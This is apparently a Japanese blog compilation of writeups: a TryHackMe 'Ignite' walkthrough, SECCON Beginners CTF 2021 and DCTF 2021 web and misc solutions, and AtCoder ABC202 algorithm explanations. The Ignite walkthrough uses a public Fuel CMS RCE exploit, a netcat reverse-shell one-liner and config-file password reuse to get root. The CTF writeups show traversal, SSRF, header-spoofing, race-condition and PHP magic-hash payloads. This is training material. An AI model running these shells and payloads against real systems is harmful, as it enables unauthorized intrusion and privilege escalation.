Ignite 解説 (Writeup) [TryHackMe]

一部を■で隠しています。

第一段階：ユーザーシェル獲得

Recon

nmapとgobusterをとりあえずかける。

$ export IP=[your IP]
$ nmap -sC -sV $IP
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to FUEL CMS
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt > gobuster.txt
http://[your IP]/0 (Status: 200)
http://[your IP]/assets (Status: 301)
http://[your IP]/home (Status: 200)
http://[your IP]/index (Status: 200)
http://[your IP]/index.php (Status: 200)
http://[your IP]/offline (Status: 200)
http://[your IP]/robots.txt (Status: 200)

コマンドインジェクションからのリバースシェルっぽい。
FUEL CMSが動いている。
サイトを見てみるが、特に何もない。
Fuel CMSの脆弱性を見てみる。

Fuel CMS

$ searchsploit fuel
---------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title                                                                                                                                                  |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Franklin Fueling TS-550 evo 2.0.0.6833 - Multiple Vulnerabilities                                                                                               | hardware/webapps/31180.txt      
fuel CMS 1.4.1 - Remote Code Execution (1)                                                                                                                      | linux/webapps/47138.py
Fuel CMS 1.4.1 - Remote Code Execution (2)                                                                                                                      | php/webapps/49487.rb
Fuel CMS 1.4.7 - 'col' SQL Injection (Authenticated)                                                                                                            | php/webapps/48741.txt
Fuel CMS 1.4.8 - 'fuel_replace_id' SQL Injection (Authenticated)                                                                                                | php/webapps/48778.txt
---------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------Shellcodes: No Results
Papers: No Results

色々ありますね…RCEをとりあえず試す。ちなみにPoCコードにはProxy関連のコードが入っているので削除して使用しないと例外が出る。

$ searchsploit -p 47138
  Exploit: fuel CMS 1.4.1 - Remote Code Execution (1)
      URL: https://www.exploit-db.com/exploits/47138
     Path: /usr/share/exploitdb/exploits/linux/webapps/47138.py
File Type: HTML document, ASCII text, with CRLF line terminators
$ cp /usr/share/exploitdb/exploits/linux/webapps/47138.py 47138.py
$ python2 47138.py 
cmd:id
systemuid=33(www-data) gid=33(www-data) groups=33(www-data)

良い感じ。リバースシェルしよう。> nc -vnlp 30303で待って、一通り発動ペイロードを試すと以下で刺さる。

$ python2 47138.py 
cmd:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [yourIP] 30303 >/tmp/f

ささったら、中を探索してフラグを見つける。

$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@ubuntu:/var/www/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu:/var/www/html$ cd /home
cd /home
www-data@ubuntu:/home$ ls -la
ls -la
total 12
drwxr-xr-x  3 root     root     4096 Jul 26  2019 .
drwxr-xr-x 24 root     root     4096 Jul 26  2019 ..
drwx--x--x  2 www-data www-data 4096 Jul 26  2019 www-data
www-data@ubuntu:/home$ cd www-data
cd www-data
www-data@ubuntu:/home/www-data$ ls -la
ls -la
total 12
drwx--x--x 2 www-data www-data 4096 Jul 26  2019 .
drwxr-xr-x 3 root     root     4096 Jul 26  2019 ..
-rw-r--r-- 1 root     root       34 Jul 26  2019 flag.txt
www-data@ubuntu:/home/www-data$ cat flag.txt
cat flag.txt
■■■■■■■■■■■■■■■■■■■■■■

第二段階：権限昇格

いつもの権限昇格確認を試すが刺さらないので、linpeas.shで詳しく解析していこう。

ホスト側
$ curl https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh > linpeas.sh
$ python -m http.server 80

被害者側
$ wget http://[yourIP]/linpeas.sh
$ sh linpeas.sh
[+] USBCreator
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation
Vulnerable!!

[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 root root        44K May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root        44K May  7  2014 /bin/ping
-rwsr-xr-x 1 root root        31K Jul 12  2016 /bin/fusermount
-rwsr-xr-- 1 root messagebus  42K Jan 12  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root       139K Jan 28  2017 /bin/ntfs-3g  --->  Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others(02-2017)
-rwsr-xr-x 1 root root        19K Mar 17  2017 /usr/lib/x86_64-linux-gnu/oxide-qt/chrome-sandbox
-rwsr-xr-x 1 root root        10K Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root        40K May 16  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root        53K May 16  2017 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root        74K May 16  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root        49K May 16  2017 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root        39K May 16  2017 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root root        40K May 16  2017 /bin/su
-rwsr-xr-x 1 root root       134K Jul  4  2017 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
-rwsr-xr-x 1 root root        11K May  8  2018 /usr/bin/vmware-user-suid-wrapper
-rwsr-xr-x 1 root root        27K May 16  2018 /bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root        40K May 16  2018 /bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-- 1 root dip        386K Jun 12  2018 /usr/sbin/pppd  --->  Apple_Mac_OSX_10.4.8(05-2007)
-rwsr-sr-x 1 root root        11K Oct 25  2018 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root        15K Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root        23K Jan 15  2019 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
-rwsr-sr-x 1 root root        97K Jan 29  2019 /usr/lib/snapd/snap-confine  --->  Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation(CVE-2019-7304)
-rwsr-xr-x 1 root root       419K Jan 31  2019 /usr/lib/openssh/ssh-keysign

[+] Finding passwords inside key folders (limit 70) - only PHP files
/var/www/html/fuel/application/config/MY_fuel.php:$config['default_pwd'] = 'admin';
/var/www/html/fuel/application/config/constants.php:defined('EXIT_DATABASE')       OR define('EXIT_DATABASE', 8); // database error
/var/www/html/fuel/application/config/constants.php:defined('EXIT_USER_INPUT')     OR define('EXIT_USER_INPUT', 7); // invalid user input
/var/www/html/fuel/application/config/database.php:     'password' => '■■■■■■■■■■■■■■■■■■■■■■■',
/var/www/html/fuel/codeigniter/core/compat/hash.php:                    $password = hash($algo, $password, TRUE);
/var/www/html/fuel/codeigniter/core/compat/hash.php:    function hash_pbkdf2($algo, $password, $salt, $iterations, $length = 0, $raw_output = FALSE)

怪しいのが色々列挙されてくるが、パスワードっぽいものが抜き出せている。
rootパスワードとして使えないか試してみると使えてしまう。

www-data@ubuntu:/var/www/html$ su
su
Password: ■■■■■■■■■■■■■■■■■■■■■■■

root@ubuntu:/var/www/html# cd /root
cd /root
root@ubuntu:~# ls -la
ls -la
total 32
drwx------  4 root root 4096 Jul 26  2019 .
drwxr-xr-x 24 root root 4096 Jul 26  2019 ..
-rw-------  1 root root  357 Jul 26  2019 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwx------  2 root root 4096 Feb 26  2019 .cache
drwxr-xr-x  2 root root 4096 Jul 26  2019 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   34 Jul 26  2019 root.txt
root@ubuntu:~# cat root.txt
cat root.txt
■■■■■■■■■■■■■■■■

ok.

SECCON Beginners CTF 2021 Writeups 解説

チームwhitecatとして参加して1689点85位でした。
Webしかやれていないのですが、メンバーが強くてここまでこれました。
以下、自分が解いた問題のwriteupです。

Web

osoba

ちょっと探索すると/?page=public/wip.htmlのようなURLになっているので、ディレクトリトラバーサルを試す。
/?page=/etc/passwdとすると、データが抜けてくるので、問題文にもあるように/?page=/flagでフラグを取ってこよう。

Werewolf

自分はKNIGHTらしい。

プロキシのログを見てみるが、特に気になる部分がない。
ソースコードを見てみよう。
player.role == 'WEREWOLF'が満たされればフラグが手に入る。
しかしPlayerクラスを見ると指定できるroleにWEREWOLFが含まれていない。
player.__dict__[k] = vで__roleにアクセスできないが探すと以下の記事が見つかる。

Pythonのプライベート変数の振る舞いについて - Qiita
なるほど、_Player__roleでアクセスできそう。

POST / HTTP/1.1
Host: werewolf.quals.beginners.seccon.jp
…
Connection: close

name=Evilman&color=red&_Player__role=WEREWOLF

これでフラグがもらえる。

check_url

SSRFな感じがする。
ソースコードを見ると自分自身をアクセスさせることができればフラグが手に入る。
127.0.0.1にアクセスさせることができればフラグが手に入る。制約は

• localhost, apacheは使えない
• [a-zA-Z0-9:]しか使えない

という感じ。
色々調べて使ってみると、SSRF (Server Side Request Forgery) - HackTricksの0x7f000001が刺さる。
/?url=https://0x7f000001/でフラグ。

json

BANされてしまった。
/json/bff/main.goの以下の部分でフィルタリングしている。

// check if the accessed user is in the local network (192.168.111.0/24)
func checkLocal() gin.HandlerFunc {
    return func(c *gin.Context) {
        clientIP := c.ClientIP()
        ip := net.ParseIP(clientIP).To4()
        if ip[0] != byte(192) || ip[1] != byte(168) || ip[2] != byte(111) {
            c.HTML(200, "error.tmpl", gin.H{
                "ip": clientIP,
            })
            c.Abort()
            return
        }
    }
}

送信元をヘッダーで偽装できないか試すとX-Forwarded-For: 192.168.111.2を入れてみるとbypassできた。
Flagクエリをやってみる。

ダメでした。
/json/bff/main.goの

if info.ID == 2 {
    c.JSON(400, gin.H{"error": "It is forbidden to retrieve Flag from this BFF server."})
    return
}

でフィルタリングがかかっている。
よくよく見ると、apiとbffで使っているJSONパーサーが違う。
これはアレか。

POST / HTTP/1.1
Host: json.quals.beginners.seccon.jp
…
X-Forwarded-For: 192.168.111.2

{"id":2,"id":1}

これを投げるとフラグが手に入る。

cant_use_db

Noodlesを2つ、Soupを1つ買えればフラグが手に入る。
もちろんお金は足りない。

cant_use_dbとあり、DBは使っていない。代わりにtxtファイルを使って情報を永続化している。
user_idが内部的に使われているがセッションに入っているので手出しできない。
CookieにセッションIDがJWSっぽい形式で入っているが、簡単に解析できそうな感じでもない。

購入フローを見ると、「購入物の個数をインクリメント」→wait→「金額を購入分減らす」となっているので排他処理で攻められますね。
しかし、単純に/buy_noodlesを2回と/buy_soupを1回を同時に実行すると、buy_noodlesの購入物の更新がどちらも1個になってしまうので、1回目と2回目の間に0.5秒くらいウェイトを入れるとうまくいく。
以下exploitコード

import requests
import threading
import time

root = 'https://cant-use-db.quals.beginners.seccon.jp'
cookie = {'session': 'eyJ1c2VyIjoiMDQ3L2F4SjNEWS1USUs5Rlc1dmFGT3d4TVFzM3pjNllLdkdsWmhFLWEzbUMifQ.YKkndg.Hbl3Uw84soj7Gd3HccAsqHRHfag'}

def f():
    return requests.post(root + '/buy_noodles', cookies=cookie, verify=False).text

def g():
    return requests.post(root + '/buy_soup', cookies=cookie, verify=False).text

threading.Thread(target=f).start()
time.sleep(0.5)
threading.Thread(target=f).start()
threading.Thread(target=g).start()

misc

git-leak

過去コミットを洗い出してgrepしてくればフラグが得られる。

$ git cat-file --batch --batch-all-objects | grep -a ctf4b
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}

depixelization

このような暗号と暗号を作るスクリプトが与えられる。
とある文字はそれに対応した一意の画像が作られるので候補の文字についてスクリプトで暗号化を行い、出力が一致するかを比較することで復元できそうだ。
スクリプトを書いて、上記のようなことをやると答えが得られる。

import cv2
import numpy as np

cs = "qwertyuiopasdfghjklzxcvbnm1234567890{}_!"

img2 = cv2.imread("./output.png")
for i in range(31):
    L = i * 85
    R = (i + 1) * 85
    char = img2[0 : 100, L : R]

    for c in cs:
        img = np.full((100, 85, 3), (255,255,255), dtype=np.uint8)
        cv2.putText(img, c, (0, 80), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)

        # pixelization
        cv2.putText(img, "P", (0, 90), cv2.FONT_HERSHEY_PLAIN, 7, (0, 0, 0), 5, cv2.LINE_AA)
        cv2.putText(img, "I", (0, 90), cv2.FONT_HERSHEY_PLAIN, 8, (0, 0, 0), 5, cv2.LINE_AA)
        cv2.putText(img, "X", (0, 90), cv2.FONT_HERSHEY_PLAIN, 9, (0, 0, 0), 5, cv2.LINE_AA)
        simg = cv2.resize(img, None, fx=0.1, fy=0.1, interpolation=cv2.INTER_NEAREST) # WTF :-o
        img = cv2.resize(simg, img.shape[:2][::-1], interpolation=cv2.INTER_NEAREST)

        if np.array_equal(char,img):
            print(c)
            break

DCTF 2021 Writeups

CTFtime.org / DCTF 2021

Welcome

Sanity Check

トップページに書いてあるので頂いておこう。dctf{welc0m3_t0_dCTF}

Misc

Encrypted the flag I have

フォントを解析して何が書いてあるかを抜き取れという問題。
フラグはdctf{から始まるんだよなぁ…と思いつつ見ると、ちょうど{がふたみたいな記号になっていて、末尾もふたみたいな記号なので、フォント解析という方向性は間違っていなさそう。
あと、先頭の文字はdであることもわかったので、先頭の文字だけ切り出して、適当に調べて出てきたwww.whatfontis.com - What Font Isで判定してみると、Aurebesh Font | dafont.comであることが分かる。
あとは、対応表を見ながら文字起こししていけば答え。

dctf{mastercodebreaker}

Dragon

かわいいドット絵のファイルが与えられる。それ以外にヒントもないので、とりあえず色々試す。

• strings ダメ
• binwalk ダメ
• exiftool ダメ

ふむ。青い空を見上げればいつもそこに白い猫使ってみるか…と思いながらポチポチやっているとフラグが出てくる。

dctf{N0w_Y0u_s3e_m3}

Don't let it run

pdfファイルが与えられる。pdfファイルの解析といえばpeepdfなので、解析してみよう。

$ python2 peepdf.py dragon.pdf -i
Warning: PyV8 is not installed!!
Warning: pylibemu is not installed!!
Warning: Python Imaging Library (PIL) is not installed!!

File: dragon.pdf
MD5: a85c21b3e834fd47f8c09aa62017f8a9
SHA1: bee4c92dbe47325b96d8520c20e8b9f0b29cb7e8
SHA256: f2e9ba45ecac5a32df93a5ef6d38d95d15d5d7f5c2b219f18edb014afc953d79
Size: 295461 bytes
Version: 1.7
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 10
Streams: 5
URIs: 0
Comments: 0
Errors: 0

Version 0:
        Catalog: 1
        Info: 4
        Objects (10): [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
        Streams (5): [6, 7, 8, 9, 10]
                Encoded (4): [6, 8, 9, 10]



PPDF> object 3

<< /Type /Action
/S /JavaScript
/JS var _0x4ac9=['663aCYhYK','9qwaGGO','log','1PtCftm','1068uRYmqT','dctf{pdf_1nj3ct3d}','768577jhhsbr','717342hAzOOQ','722513PAXCbh','833989PQKiti','1447863RVcnTo','125353VtkXUG'];(function(_0x3b1f6b,_0x1ad8b7){var _0x566ee2=_0x5347;while(!![]){try{var _0x2750a5=parseInt(_0x566ee2(0x16e))+-parseInt(_0x566ee2(0x16d))+parseInt(_0x566ee2(0x16c))+-parseInt(_0x566ee2(0x173))*-parseInt(_0x566ee2(0x171))+parseInt(_0x566ee2(0x172))*-parseInt(_0x566ee2(0x16a))+parseInt(_0x566ee2(0x16f))*parseInt(_0x566ee2(0x175))+-parseInt(_0x566ee2(0x170));if(_0x2750a5===_0x1ad8b7)break;else _0x3b1f6b['push'](_0x3b1f6b['shift']());}catch(_0x5764a4){_0x3b1f6b['push'](_0x3b1f6b['shift']());}}}(_0x4ac9,0x8d97f));function _0xa(){var _0x3c6d20=_0x5347;console[_0x3c6d20(0x174)](_0x3c6d20(0x16b));}var a='bkpodntjcopsymlxeiwhonstykxsrpzy',b='exrbspqqustnzqriulizpeeexwqsofmw';_0xb(a,b);function _0x5347(_0x37de35,_0x19ac26){_0x37de35=_0x37de35-0x16a;var _0x4ac9ea=_0x4ac9[_0x37de35];return 
_0x4ac9ea;}function _0xb(_0x39b3ee,_0xfae543){var _0x259923=_0x39b3ee+_0xfae543;_0xa();}
 >>

jsコードが抜き出せましたね。これを真面目に解析するか…と思いきやべた書きしてある。dctf{pdf_1nj3ct3d}
これはもしかして…

$ strings dragon.js | grep dctf
var _0x4ac9 = ['663aCYhYK', '9qwaGGO', 'log', '1PtCftm', '1068uRYmqT', 'dctf{pdf_1nj3ct3d}', '768577jhhsbr', '717342hAzOOQ', '722513PAXCbh', '833989PQKiti', '1447863RVcnTo', '125353VtkXUG'];

これでもいいですね。

Hidden message

画像が与えられる。できることを一通り試すとフラグが回収できる。zstegで抜き出せる。

$ zsteg fri.png
b1,rgb,lsb,xy       .. text: "dctf{sTeg0noGr4Phy_101}"
b3,g,lsb,xy         .. text: "I@4I)$Xl"
b3,abgr,msb,xy      .. text: "v\rWv)WvM"
b4,r,lsb,xy         .. text: "\nfb@DHfBHH"
b4,r,msb,xy         .. text: "E`@Q'g3@D@tr"
b4,g,msb,xy         .. text: "ND@&B$rp"
b4,b,lsb,xy         .. text: "D\"$ \"\"\"$bN"
b4,b,msb,xy         .. text: "DDD$Fr0U3p@f"
b4,rgb,lsb,xy       .. text: "HDd(\"b(Dd\""
b4,rgb,msb,xy       .. text: "GpD@FdD#"
b4,bgr,lsb,xy       .. text: "H$b(\"dH$`"
b4,bgr,msb,xy       .. text: "t@@DFd$#"
b4,rgba,lsb,xy      .. text: "`OP/S/b/b?"
b4,abgr,msb,xy      .. text: "O@OdOdO2/"

Web

Simple web

チェックを入れてSubmitしてもフラグはもらえなかった…
通信をみてみると、

POST /flag HTTP/1.1

flag=1&auth=0&Submit=Submit

こんな感じだったので、auth=1にしてみよう。

POST /flag HTTP/1.1

flag=1&auth=1&Submit=Submit

HTTP/1.1 200 OK

There you go: dctf{w3b_c4n_b3_fun_r1ght?}

Very secure website

ソースコードがもらえるので見てみよう。

 <?php
    if (isset($_GET['username']) and isset($_GET['password'])) {
        if (hash("tiger128,4", $_GET['username']) != "51c3f5f5d8a8830bc5d8b7ebcb5717df") {
            echo "Invalid username";
        }
        else if (hash("tiger128,4", $_GET['password']) == "0e132798983807237937411964085731") {
            $flag = fopen("flag.txt", "r") or die("Cannot open file");
            echo fread($flag, filesize("flag.txt"));
            fclose($flag);
        }
        else {
            echo "Try harder";
        }
    }
    else {
        echo "Invalid parameters";
    }
?> 

ユーザー名が分からないが、適当にadminとしてみたら、Try harderと帰ってきたので、adminでよさそう。
パスワード部分は比較相手が0eから始まっているのでmagic hashを使って比較をtrueにする。
hashes/tiger128,4.md at master · spaze/hashes · GitHub
ここから好きなものを持ってきてパスワードにすればmagic hashが得られてフラグが手に入る。
dctf{It's_magic._I_ain't_gotta_explain_shit.}

※ magic hash：phpでは0e数字だけ == 0e数字だけが数値比較と考慮されて0 == 0となってtrueになることを利用したもの。

Count Descendants [エイシングプログラミングコンテスト2021（AtCoder Beginner Contest 202） E]

https://atcoder.jp/contests/abc202/tasks/abc202_e

前提知識

• オイラーツアー
• BIT
• クエリ先読みと平面走査

解説

https://atcoder.jp/contests/abc202/submissions/22837009

最後までの理解は難しいかもしれないが、問題の言い換え部分までは参考になるかもしれない。

問題の言い換え

少し扱いやすいように問題を言い換える。以下のようにクエリ問題を言い換えてみよう。

頂点U[i]を根とした部分木上に本来の根からの距離がD[i]である頂点がいくつあるか

このように考えると、今回の問題は部分木についてのアルゴリズムを適用することができる。

部分木

部分木といえば、オイラーツアーというものが使える。
これを使うことで、ある部分木に対する操作をとある区間の操作に言い換えることができる。
なのでクエリ的には部分木という条件を区間への条件にマッピングすることができるので、

頂点U[i]を根とした部分木上に本来の根からの距離がD[i]である頂点がいくつあるか

という条件を

ある区間[L,R)について、本来の根からの距離がD[i]である頂点がいくつあるか

と言い換えることができる。更に言うと、そのある区間を本来の根からの距離を保持する配列として考えると、

ある区間[L,R)について、値がD[i]である要素がいくつあるか

という感じに帰着させることができる。これでだいぶ解きやすくなった。

帰着問題をいかに解くか

この問題は実は頻出問題であり、いくつか解法がある。
今回はBITと平面走査を使って、これを解くことにしよう。

クエリを先読みしておき、深さ順に処理していくことにする。
深さについて0からN-1まで順に処理をしていくことにする。
処理していく過程で配列bit（実装はBITで実装されていて、区間和を取れるようにしておく）

bit[x] := オイラーツアーによって頂点cuが要素xにマッピングされているとするとき、頂点cuを訪問済み（カウント済み）であればbit[x]=1となる

ここで、以下のような処理を行う。

深さdについて処理するとする
1. D[i]=dである全てのクエリqについて、ans[q]からU[q]に対応する区間[L,R)のbitの総和を引く
2. 深さがdである頂点について対応するbitの要素に+1をする
3. D[i]=dである全てのクエリqについて、ans[q]へU[q]に対応する区間[L,R)のbitの総和を足す

こうすると手順1ではbitの状態がd-1までがカウントされている状態になっていて、手順3ではbitの状態がdまでがカウントされている状態になっている。
なので、

ans[q] = (U[q]を根とする部分木で深さがd以下の頂点数) - (U[q]を根とする部分木で深さがd-1以下の頂点数)

のように計算していることになるので、ちょうど深さがdの頂点数を求めることができている。

これは考え方的には平面走査的な考え方で、根付き木の頂点を深さが小さい順に評価して、適切に情報を保持していくことで2ベクトルの情報を加味した計算を行っている。

int N;
vector<int> E[201010];
int Q;
int U[201010], D[201010];
int ans[201010];
//---------------------------------------------------------------------------------------------------
BIT<int> bit(401010);
int L[401010], R[401010];
int idx = 0;
void euler(int cu, int pa = -1) { // [L[v],R[v])
    L[cu] = idx; idx++;
    for (int to : E[cu]) if (to != pa) euler(to, cu);
    R[cu] = idx;
}
//---------------------------------------------------------------------------------------------------
int dep[201010];
void dfs(int cu, int d = 0, int pa = -1) {
    dep[cu] = d;
    fore(to, E[cu]) if (to != pa) dfs(to, d + 1, cu);
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 1, N) {
        int P; cin >> P; P--;
        E[i].push_back(P);
        E[P].push_back(i);
    }
    euler(0);
    cin >> Q;
    rep(i, 0, Q) cin >> U[i] >> D[i], U[i]--;
    dfs(0);

    map<int, vector<int>> mapping;
    rep(i, 0, N) mapping[dep[i]].push_back(i);

    map<int, vector<int>> qs;
    rep(i, 0, Q) qs[D[i]].push_back(i);

    rep(d, 0, N) {
        fore(q, qs[d]) ans[q] -= bit.get(L[U[q]], R[U[q]]);
        fore(cu, mapping[d]) bit.add(L[cu], 1);
        fore(q, qs[d]) ans[q] += bit.get(L[U[q]], R[U[q]]);
    }

    rep(i, 0, Q) printf("%d\n", ans[i]);
}

aab aba baa [エイシングプログラミングコンテスト2021（AtCoder Beginner Contest 202） D]

https://atcoder.jp/contests/abc202/tasks/abc202_d

解説

https://atcoder.jp/contests/abc202/submissions/22836918

辞書順に並び替えると、

a????????  
b????????  

の並びになっており、K番目ということを考えると、このどちらのグループに入るかということが分かる。
例えばaが4個あってbが7個ある場合、a???????となる個数は二項定理を使ってC(3+7,7)通りになる。
ざっくり説明すると、残った3つのaと7つのbを使って作れる文字列の個数がそのままそのグループの個数となる。
具体的にはC(a-1+b,b)通りである。

この個数を見れば、最初の文字としてどちらの文字を選択すればいいかが分かる。
この時、aが選択された場合は答えに追加するだけでいいが、bが選択された場合は、a?????????がスキップされることになるので、
K番目のKが少し変わることになる。
bが選択された場合はb????????の先頭から考え始めることになるので、Kからスキップした分のC(a-1+b,b)を引いておく。

あとは、この操作を続けていって文字を決めていけばいい。

実装について

二項係数を用意する必要があるのが面倒。
上限が60なので、手作業で用意してもいいし、
自分の実装のようにaCb(a, b) = aCb(a - 1, b - 1) + aCb(a - 1, b)を使って事前計算してもいい。
long longで用意する必要があり、オーバーフローを気にする必要はあるが、使用する範囲内では問題ないので適当に（祈りを込めて）出す。

int A, B; ll K;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> A >> B >> K;
    K--;

    int N = A + B;

    string ans = "";
    rep(i, 0, N) {
        if (0 < A) {
            if (K < aCb(A + B - 1, B)) {
                ans += "a";
                A--;
            }
            else {
                ans += "b";
                K -= aCb(A + B - 1, B);
                B--;
            }
        }
        else {
            ans += "b";
            B--;
        }
    }
    cout << ans << endl;
}

Made Up [エイシングプログラミングコンテスト2021（AtCoder Beginner Contest 202） C]

https://atcoder.jp/contests/abc202/tasks/abc202_c

解説

https://atcoder.jp/contests/abc202/submissions/22836846

ちょっとだけ整理

今回の問題は、解く前にまずは整理することが重要である。
B[C[j]]の部分であるが、別途配列Dを考えて、単純にD[j] = B[C[j]]として置き換えると、特に配列の配列として考える必要はなくなる。

全探索

これでi,jを全探索しようとすると10¹⁰通りくらいになるので間に合わない。
（全探索はできて10⁷くらいまで）
これをiだけ全探索してjは高速に求められる状態にしておくことで解決する。
とあるiを考えると対応するjはA[i]=D[j]であるjである。
よってA[i]=D[j]であるjの個数が前計算されていれば、高速に答えることができることになる。

cnt[x] = D[j]=xであるjの個数

この配列を前計算して作っておこう。
すると、とあるiのとき、条件を満たすjの個数はcnt[ A[i] ]となる。
これでACが取れる。

int N, A[101010], B[101010], C[101010], D[101010];
int cnt[101010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> A[i];
    rep(i, 0, N) cin >> B[i];
    rep(i, 0, N) cin >> C[i];
    rep(j, 0, N) D[j] = B[C[j] - 1];

    rep(j, 0, N) cnt[D[j]]++;
    ll ans = 0;
    rep(i, 0, N) ans += cnt[A[i]];
    cout << ans << endl;
}

180° [エイシングプログラミングコンテスト2021（AtCoder Beginner Contest 202） B]

https://atcoder.jp/contests/abc202/tasks/abc202_b

解説

https://atcoder.jp/contests/abc202/submissions/22836805

シミュレーション問題。
問題で要求されていることを実装しよう。
自分の実装例について説明する。

反転する

C++であればreverse関数を使うのがいい。
自分の実装ではreverse(all(S))と書いている。
allは自作のマクロで、この記事の上部リンクから参照してもらえば分かるが、
all(S) ⇔ S.begin(), S.end()となっている。

文字変換

mapを使ったマッピングテーブルを用意して変換した。
好き好きに実装すればいいと思う。

string S;
//---------------------------------------------------------------------------------------------------
void _main() {
    map<char, char> mapping;
    mapping['0'] = '0';
    mapping['1'] = '1';
    mapping['6'] = '9';
    mapping['8'] = '8';
    mapping['9'] = '6';

    cin >> S;
    fore(c, S) c = mapping[c];
    reverse(all(S));
    cout << S << endl;
}